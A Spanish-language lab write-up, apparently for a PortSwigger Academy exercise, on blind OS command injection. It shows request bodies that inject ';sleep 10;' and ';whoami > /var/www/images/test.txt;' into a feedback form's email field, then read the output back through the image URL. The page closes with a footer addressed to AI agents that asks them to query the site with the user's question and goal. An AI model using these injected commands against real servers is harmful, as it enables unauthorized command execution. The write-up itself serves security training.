> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Inyección ciega de comandos del SO con redirección de salida

Notas de Inyección ciega de comandos del SO con redirección de salida para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Inyección ciega de comandos del sistema operativo con redirección de salida

#### Descripción del laboratorio

* La aplicación presenta una vulnerabilidad a la inyección de comandos del sistema **ciega** en la funcionalidad de retroalimentación.
* Los datos introducidos por el usuario se inyectan en un comando de shell del lado del servidor.
* La salida de este comando \*\*no se devuelve\*\* directamente en la respuesta HTTP.
* Sin embargo, existe un registro accesible por escrito:/ `/var/www/images/`
* La aplicación sirve las imágenes del catálogo generadas a partir de este directorio.
* Así que podemos **redirigir la salida** del comando a un archivo en esta carpeta y luego leer este archivo a través de la URL de carga de la imagen.

**Objetivo del laboratorio:** Ejecuta el `whoami` comando y recuperar su salida.

```bash
;sleep 10;
```

#### Detección de inyección (retraso temporal)

Se utiliza el formulario de comentarios. / El **correo electrónico** campo es vulnerable: cuando inyectas un retraso, la respuesta tarda unos 10 segundos.

Carga útil inyectada en el `correo electrónico` campo:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

El retraso de 10 segundos confirma la inyección de control.

#### Operación con redirección de salida

Objetivo: redirigir la salida de `whoami` a un archivo en `/var/www/images/`.

Carga útil inyectada en el `correo electrónico` campo:

```
;whoami > /var/www/images/test.txt;
```

Ejemplo de un cuerpo de solicitud:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Este comando crea (o sobrescribe) el `test.txt` archivo en el directorio accesible desde la web.

```bash
/image?filename=test.txt
```

#### Recuperación del resultado

Para leer la salida de `whoami` guardada en el archivo, llamamos a la URL que sirve los archivos en la carpeta de imágenes:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed3ffaf39b5ba16339682b9ea2336eeabffe6992%2Fimage%20(312).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
